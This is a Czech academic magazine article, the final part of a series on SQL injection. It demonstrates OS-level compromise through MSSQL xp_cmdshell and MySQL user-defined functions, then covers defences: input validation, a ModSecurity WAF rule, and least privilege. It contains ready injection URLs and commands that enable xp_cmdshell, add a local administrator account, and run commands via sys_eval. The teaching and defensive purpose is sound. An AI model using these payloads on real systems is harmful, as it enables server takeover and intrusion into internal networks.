Kompromitace dat pomocí SQL Injection

část III.

Jaké další metody mají útočníci k dispozici? Jaké jsou možnosti obrany proti útokům tohoto typu? Jaká jsou základní bezpečnostní doporučení?

V minulých dílech tohoto seriálu byly popsány možnosti zneužití zranitelnosti SQL Injection pro získání dat z databáze, čtení lokálních souborů z disku a jejich zápis, vyvolání XSS a skenování portů. V tomto závěrečném dílu ukážeme, že ze SQL Injection plyne ještě vážnější riziko než všechna dříve popsaná – možnost kompromitace serveru na úrovni operačního systému. V závěru článku také popíšeme možnosti obrany proti této zranitelnosti.

SQL jako prostředek pro kompromitaci serveru

V této kapitole popíšeme dvě metody kompletní kompromitace serveru na úrovni operačního systému za použití vestavěné funkce xp_cmdshell databázového systému MSSQL a za použití User Defined Functions (UDF) databázového systému MySQL.

MSSQL a funkce xp_cmdshell

Funkce xp_cmdshell je jednou z vestavěných funkcí databázového systému MSSQL. Slouží pro spouštění příkazů na úrovni operačního systému databázového serveru. Příkazy jsou vykonány s právy uživatele, pod kterým je MSSQL server spuštěn.

V případě verze MSSQL 2000 se jedná téměř vždy o systémového uživatele NT AUTHORITY\SYSTEM[1]. V případě novějších verzí pak záleží na úrovni bezpečnostního hardeningu databázové služby, zda proces běží pod privilegovaným či dedikovaným uživatelem.

Zjištění, pod kterým uživatelem operačního systému je příkaz vykonáván, je možné prostřednictvím příkazu:

```
whoami
```

Pokud tento příkaz není dostupný, je možné použít následující:

```
echo %USERDOMAIN%\%USERNAME%
```

Dále se v textu předpokládá, že databázový server je spuštěn pod privilegovaným uživatelem systému MS Windows (administrator nebo NT AUTHORITY\SYSTEM). Potom je možné funkci xp_cmdshell využít pro vytvoření nového lokálního uživatele s administrátorskými právy pomocí sekvence příkazů:

```
net user ptest heslo1234 /add

net localgroup administrators ptest /add
```

První z příkazů vytvoří lokálního uživatele ptest s heslem heslo1234. Druhým příkazem je tento uživatel zařazen mezi lokální administrátory systému.

Pokud by databázový server byl zároveň doménovým kontrolorem, je možné vytvořit doménového uživatele a následně mu přidělit práva doménového administrátora, čímž by útočník získal téměř plnou kontrolu nad vnitřní sítí. V následujícím příkladu však tuto možnost nebudeme předpokládat. Vytvoření lokálního administrátora prostřednictvím funkce xp_cmdshell spouštěné pomocí SQL Injection potom může být provedeno následujícím způsobem[2]:

```
http://example.com/?id=3;EXEC master.dbo.xp_cmdshell 'net user ptest heslo1234 /add '
```

[1] Interní privilegovaný uživatel operačního systému MS Windows

[2] Stejně jako v předchozích dílech předpokládejme, že parametr id aplikace example.com je náchylný vůči SQL Injection

```
http://example.com/?id=3;EXEC master.dbo.xp_cmdshell ' net localgroup administrators ptest /add'
```

Vytvořením lokálního administrátorského účtu získá útočník plnou kontrolu nad databázovým serverem. Dalším krokem může být připojení na server prostřednictvím vzdálené plochy (RDP, Remote Desktop). Pokud není služba RDP na server povolená, může útočník službu povolit prostřednictvím příkazu net start či wmic service.

Dále může útočník nasdílet lokální disky, manipulovat s antimalwarovými prostředky či instalovat backdoory, keyloggery a další malware. Kompromitací jednoho ze serverů vnitřní sítě společnosti získává útočník platformu pro podnikání útoků vůči dalším serverům v interní síti. Dalšími cíli tak mohou být interní fileservery, poštovní servery, doménové kontrolery, CAS[3] servery či pracovní stanice zaměstnanců.

Přítomnost chyby typu SQL Injection ve webovém informačním systému dostupném z Internetu tak může v konečném důsledku znamenat kompletní kompromitaci vnitřní sítě útočníkem.

V kapitole věnované zneužití zranitelnosti SQL Injection pro provádění operací čtení a zápisu nad souborovým systémem databázového serveru byly demonstrovány příklady, jak toho dosáhnout prostřednictvím DBMS MySQL. V případě MSSQL není třeba hledat potřebné klauzule či funkce, ale stačí použít funkci xp_cmdshell pro čtení:

```
xp_cmdshell('type db\connection.aspx')
```

I pro zápis:

```
xp_cmdshell('echo "Fix your code!" > index.aspx')
```

MSSQL funkce	Popis
xp_cmdshell	Spouštění systémových příkazů
xp_avaliablemedia	Informace o discích
xp_dirtree	Informace o struktuře složek
xp_enumdsn	Enumerace Data Source Name
xp_enumerrorlogs	Čtení chybových logů
xp_enumgroups	Enumerace skupin
xp_getfiledetails	Informace o souboru
xp_fixeddrives	Zjištění místa na disku
xp_loginconfig	Nastavení bezpečnostních parametrů přihlášení
xp_makecab	Vytvoření archivu
xp_ntsec_enumdomains	Enumerace domén
xp_regaddmultistring	Vložení řetězce do registru
xp_regdeletekey	Smazání klíče z registru
xp_regdeletevalue	Smazání hodnoty klíče
xp_regread	Čtení registru
xp_regremovemultistring	Smazání řetězce z registru
xp_regwrite	Zápis do registru
xp_regenumvalues	Zobrazení hodnot registru
xp_terminate_process	Ukončení procesu

Tabulka 1: Výběr vestavěných funkcí MSSQL [1]

Přestože u funkce xp_cmdshell je riziko zneužití útočníkem nejvyšší, MSSQL podporuje další z rodiny 'xp_' funkcí, které mohou být pro útočníka potenciálně zajímavé (viz tabulka 1).

Funkce xp_cmdshell je implicitně povolená ve verzi MSSQL Server 2000. Přestože ve verzi MSSQL Server 2005 a vyšší je funkce deaktivovaná, je možné ji pod privilegovaným databázovým uživatelem pomocí procedury sp_configure opět povolit[4]:

```
EXEC sp_configure 'show advanced options',1
RECONFIGURE

EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
```

Jak již bylo uvedeno v předchozím textu, MSSQL (v kombinaci s ASP.NET) podporuje zřetězené dotazy. Povolení funkce xp_cmdshell prostřednictvím SQL Injection tak může být provedeno jediným požadavkem:

```
http://example.com/?id=3;EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE
```

Riziko zneužití této funkce je navíc zvýšeno faktem, že v případě MSSQL Serveru 2000 má privilegovaný uživatel 'sa' implicitně nastavené prázdné heslo. Detekce takového účtu s prázdným heslem v interní síti tak obvykle znamená rychlou a snadnou kompromitaci serveru až na úroveň lokálního administrátora systému Windows.

MySQL a User Defined Functions

User Defined Functions (UDF) nebo také Uživatelsky definované funkce

[3] Central Authentication Service/Server
[4] http://msdn.microsoft.com/en-us/library/ms190693.aspx

jsou vlastností MySQL umožňující implementaci a následné spouštění vlastních funkcí prostřednictvím dotazů jazyka SQL[5].

Uživatelské funkce jsou implementovány v jazyce C a překládány do binární podoby. Jelikož databázový systém MySQL je na rozdíl od MSSQL možné provozovat na platformě Windows i unixových systémech, liší se typ binárního souboru implementujícího uživatelské funkce na základě platformy.

V případě platformy MS Windows jsou UDF podporovány ve formě dynamicky linkovaných knihoven (.dll) a v případě unixových systémů ve formě sdílených objektů (.so).

Uživatelsky definovanou funkci pro spouštění příkazů na úrovni operačního systému může útočník implementovat sám nebo využít již hotová řešení dostupná na Internetu, např. lib_mysqludf_sys[6]. Dále bude pro jednoduchost předkládáno právě využití již hotové varianty a také fakt, že MySQL proces běží pod privilegovaným uživatelem (root, administrator).

Po kompilaci ať již do .dll či .so souboru je nutné knihovnu umístit na databázový server do lokace, kde bude korektně lokalizována procesem MySQL. V případě unixových systémů je možné použít adresář obsahující sdílené knihovny:

```
/usr/lib
```

V případě systémů MS Windows a MySQL verze nižší než 5.1.19 je možné .dll knihovnu umístit do adresáře bin nebo lib v základním instalačním adresáři MySQL. V případě verze MySQL vyšší nebo rovné 5.1.19 je nutné knihovnu umístit do adresáře specifikovaného interní konstantou plugin_dir. Toto umístění je možné vypsat prostřednictvím dotazu SHOW VARIABLES:

```
show variables like 'plu-
gin_dir'
```

Nahrání knihovny do příslušné lokace je možné realizovat stejným postupem, jaký byl uveden v předchozím článku o provádění akcí zápisu nad souborovým systémem databázového serveru. Jakmile je knihovna umístěna na server, je nutné funkce z knihovny zaregistrovat. V rámci knihovny lib_mysqludf_sys jsou implementovány následující funkce:

- sys_eval – spustí příkaz a vrátí jeho výstup
- sys_exec – spustí příkaz a vrátí jeho výstupní kód
- sys_get – přečte proměnnou prostředí
- sys_set – nastaví proměnnou prostředí

Pro potřeby následujícího postupu bude využita pouze první z funkcí – sys_eval. Registrace funkce je v unixovém systému provedena prostřednictvím příkazu CREATE FUNCTION:

```
CREATE FUNCTION sys_eval
RETURNS string SONAME 'lib_
mysqludf_sys.so'
```

Příkazem je vybráno jméno funkce ze sdílené knihovny a nastaven její návratový typ. V tomto případě je návratovým typem řetězec. Na platformě Windows je příkaz obdobný jen se změnou jména knihovny:

```
CREATE FUNCTION sys_eval
RETURNS string SONAME 'lib_
mysqludf_sys.dll'
```

Po zaregistrování funkce je možné funkci okamžitě použít:

```
SELECT sys_eval('whoami')
```

Prostřednictvím SQL Injection by výše uvedený dotaz mohl být spuštěný následovně za pomocí konstrukce UNION:

```
http://example.com/?id=-1
UNION SELECT NULL, sys_eva-
l('whoami')
```

Pokud je MySQL spuštěno pod privilegovaným uživatelem, získává útočník v tomto bodě kompletní kontrolu nad serverem, ať již unixovým, či pod operačním systémem MS Windows. Vytvoření lokálního administrátorského účtu by pak probíhalo ekvivalentně s předchozím příkladem:

```
SELECT sys_eval(' net user
ptest heslo1234 /add')

SELECT sys_eval('net local-
group administrators ptest
/add')
```

Provedení výše uvedeného postupu v prostředí databázového systému MySQL a skriptovacího jazyka PHP je možné až na příkaz zaregistrování funkce prostřednictvím příkazu CREATE FUNCTION. Tento příkaz nelze spustit v kombinaci s konstrukcí UNION a, jak již bylo uvedené v kapitole o zřetězených funkcích, MySQL v kombinaci s PHP nepodporuje zřetězené dotazy. Útočník v tomto případě může postupovat např. tím způsobem, že provede útok na hashe privilegovaných databázových uživatelů. Tyto hashe jsou uloženy v databázi mysql v tabulce user. Pokud se útočníkovi podaří kompromitovat některého z databázových uživatelů, může se pokusit připojit do databáze přímo. Jestliže databázová služba nenaslouchá na portu dostupném útočníkovi, může do adresáře s webovou aplikací přidat vlastní skript s provedením databázového dotazu pro registraci funkce a tento skript následně spustit. Možností, jak skrze SQL Injection dosáhnout kompromitace serveru, je celá řada, výše nastíněný postup je jen jedním z mnoha.

[5] Podporovaná od verze MySQL 4.1 vydané v roce 2003
[6] https://github.com/mysqludf/lib_mysqludf_sys
[7] http://www.modsecurity.org/

Přestože tato kapitola pojednávala o MySQL, uživatelsky definované funkce jsou podporované taktéž databázovým systémem PostgreSQL a scénář uvedený výše je s drobnými obměnami možné realizovat i pod tímto DBMS.

Obrana

V této kapitole uvedeme bezpečnostní doporučení cílící na zmírnění až úplné odstranění rizik plynoucích z výskytu SQL Injection. Doporučení vedoucí k eliminaci této zranitelnosti, ale také sloužící jako další úroveň obrany v případě, že útočník zranitelnost SQL Injecton v aplikace najde a zneužije.

Validace vstupů

Základním doporučením pro vyhnutí se (nejen) zranitelnosti SQL Injection je důsledná validace uživatelských vstupů [2]. Je nutné si uvědomit, že uživatelským vstupem nejsou pouze formulářová pole, ale veškeré informace, které putují směrem od uživatele do aplikace. Jedná se tedy o veškeré HTTP GET i POST parametry, hodnoty cookies i serverové hlavičky, např. User-Agent a další.

Uživatelský vstup je nutné upravit takovým způsobem, aby z něj byly odstraněny veškeré znaky, které jsou databázovým systémem brány jako řídicí, a zároveň je nutné kontrolovat, zda např. vstup obsahuje pouze znaky z povoleného definičního oboru.

Z bezpečnostního hlediska je vhodnější provádět validace formou tzv. whitelistu, kdy je přesně specifikována množina znaků/hodnot, kterých může daný parametr nabývat (např. hodnota parametru id by měla být složena pouze z číslic). Opakem tohoto přístupu je aplikace blacklistu, kdy je specifikována množina znaků, které se v hodnotě parametru nesmí objevit (např. apostrof). Tento princip je však již ze své podstaty náchylnější na chyby, jelikož často není možné přesně definovat veškeré škodlivé vstupy, které útočník může použít. Je nutné si uvědomit, že útočník může své vstupy zakódovat množstvím různých kódování (hexa, URL encoding, base64, Unicode). Specifikovat tak množinu zakázaných vstupů může být velice obtížné až nemožné. Metoda zajišťující validaci uživatelského vstupu by měla zahrnovat tyto fáze [5]:

- Dekódování vstupů před vlastní validací
- Validace vstupu – délka, typ, syntaxe
- Použití metody whitelist pro přípustné znaky namísto blacklist pro nepovolené znaky, nejlépe způsobem „akceptuj definované“ nic dalšího

Web Application Firewall

Klasické firewally sloužící pro řízení a zabezpečení provozu na síťové a transportní vrstvě ISO/OSI modelu jsou nedílnou součástí každé větší sítě již více než dvě dekády. S rozmachem webových informačních systémů a útoků na ně vznikají firewally operující na sedmé vrstvě ISO/OSI modelu, které kontrolují provoz na úrovni HTTP(s) komunikace. Tyto prostředky jsou označovány jako webové aplikační firewally (Web Application Firewall – WAF).

Jednou z nejznámějších Open Source implementací WAF je ModSecurity[7]. Může být použit v kombinaci s webovými servery Apache, IIS a nginx. Je dodáván s předefinovanou sadou pravidel zahrnujících i útoky prostřednictvím SQL Injecton [4]. Pravidla jsou založena na regulárních výrazech, jedno z předdefinovaných pravidel základní množiny na obranu proti SQL Injection vypadá takto:

```
SecRule
REQUEST_COOKIES|!REQUEST_
```

```
COOKIES:/__utm/|REQUEST_
COOKIES_NAMES|ARGS_NAME-
S|ARGS|XML:/*
"(?i:(\!\=|\&\&|\|\||>>|<<
|>=|<=|<>|<=>|xor|rlike|
regexp|isnull)|(?:not\
s+between\s+0\s+and)|(?:is
\s+null)|(like\s+null)|
(?:(?:^|\W)in[+\s]*\
([\s\d\"]+[^()]*\))|(?:xor
|<>|'rlike(?:\s+binary)?)|
(?:regexp\s+binary))"
```

Komerční WAF produkty zahrnují řešení společností F5, Cisco, Barracuda Networks či Citrix.

Princip nejnižších privilegií

Útok SQL Injection nemusí být nutně veden s cílem kompromitace databázových dat, ale s cílem kompromitace celého serveru. Riziko zneužití zranitelnosti pro ovládnutí celého serveru však může být poměrně efektivně sníženo až eliminováno dodržením několika zásadních bezpečnostních doporučení [3].

Jak již bylo uvedeno v kapitole pojednávající o možnostech kompromitace databázového serveru prostřednictvím zranitelnosti SQL Injection, použití privilegovaného databázového uživatele (např. účet 'sa' v případě MSSQL databáze) pro přístup k aplikačním datům je klasickým porušením principu nejnižších privilegií.

Princip nejnižších privilegií je v IT bezpečnosti obecně aplikovatelná zásada, která říká, že v jakékoli situaci pro náš účel použijeme vždy nejmenší možná privilegia. V oblasti informačních systémů to znamená, že aplikační logika webové aplikace, portálu či tlustého klienta bude pro přístup k databázi používat databázového uživatele, který má co nejmenší privilegia, tedy má přístup k aplikačním datům, ale již např. nemá oprávnění pro přístup k systémovým databázím, databázím případných jiných aplikací ani oprávnění pro akce prováděné nad souborovým systémem databázového serveru či možnost spouštět příkazy v rámci operačního systému databázového serveru.

Princip nejnižších privilegií však není doporučené uplatnit pouze ve vztahu Aplikace – Databáze, ale i ve vztahu Databáze – Operační systém. Samotná aplikace databázového systému by tak neměla být spouštěna pod privilegovaným uživatelem (administrátor v systémech Windows a root v unixových systémech), ale pod vlastním dedikovaným uživatelem majícím oprávnění v rámci souborového systému pouze k potřebným datům.

Toto opatření zajistí, že pokud by se útočník dostal k možnosti spouštět příkazy operačního systému (např. prostřednictvím funkce xp_cmdshell), mohl by „pracovat" pouze v prostoru vymezeném dedikovanému uživateli a již by nemohl přistupovat k systémovým souborům či vytvářet nebo editovat jiné uživatele v rámci operačního systému.

Závěr

V sérii článků byla představena jedna z nejnebezpečnějších zranitelností (nejen) webových informačních systémů – SQL Injection. Články se zaměřovaly na různé možnosti zneužití této zranitelnosti útočníkem od kompromitace databázových dat, provádění operací zápisu a čtení nad souborovým systémem databázového serveru přes využití SQL Injection k provedení útoku XSS, skenování portů v lokální síti až po kompletní kompromitaci serveru na úrovni operačního systému. V článku byly také uvedeny metody obrany proti jednotlivým typům zneužití SQL Injection i obecná bezpečnostní doporučení sloužící jako další úroveň obrany.

Lukáš Antal
iantal@fit.vutbr.cz

Maroš Barabas
ibarabas@fit.vutbr.cz

Petr Hanáček
hanacek@fit.vutbr.cz

Ing. Lukáš Antal

Studuje Fakultu informačních technologií v Brně, kde působí jako student Ph.D. se zaměřením na bezpečnost bezdrátových sítí.

Ing. Maroš Barabas

Vystudoval Fakultu informačních technologií v Brně a v současné době působí na této fakultě jako výzkumný pracovník a student Ph.D. studia.

doc. Dr. Ing. Petr Hanáček

Absolvent VUT v Brně, v současné době působí jako docent na FIT VUT v Brně. Zabývá se bezpečností informačních systémů, aplikovanou kryptografií a bezdrátovými systémy.

POUŽITÉ ZDROJE

[1] Litchfield, D.: *The database hacker's handbook: defending database servers*, Wiley, 2005, ISBN 978-0764578014
[2] OWASP Testing Guide v3, OWASP Project, 2008, [cit. 2.5.2013], URL https://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf
[3] Mistry, R.: *Microsoft SQL Server 2008 Management and Administration*, Sams Publishing, 2009, ISBN 978-0672330445
[4] Clark, J.: *SQL Injection Attacks and Defense*, Second Edition, Syngress, 2012, ISBN 978-1597499637
[5] Khan, S., Mahapatra, P.: *SQL Injection Attack and Countermeasures: Ways to secure query processing*, LAP LAMBERT Academic Publishing, 2012, ISBN 978-3659211836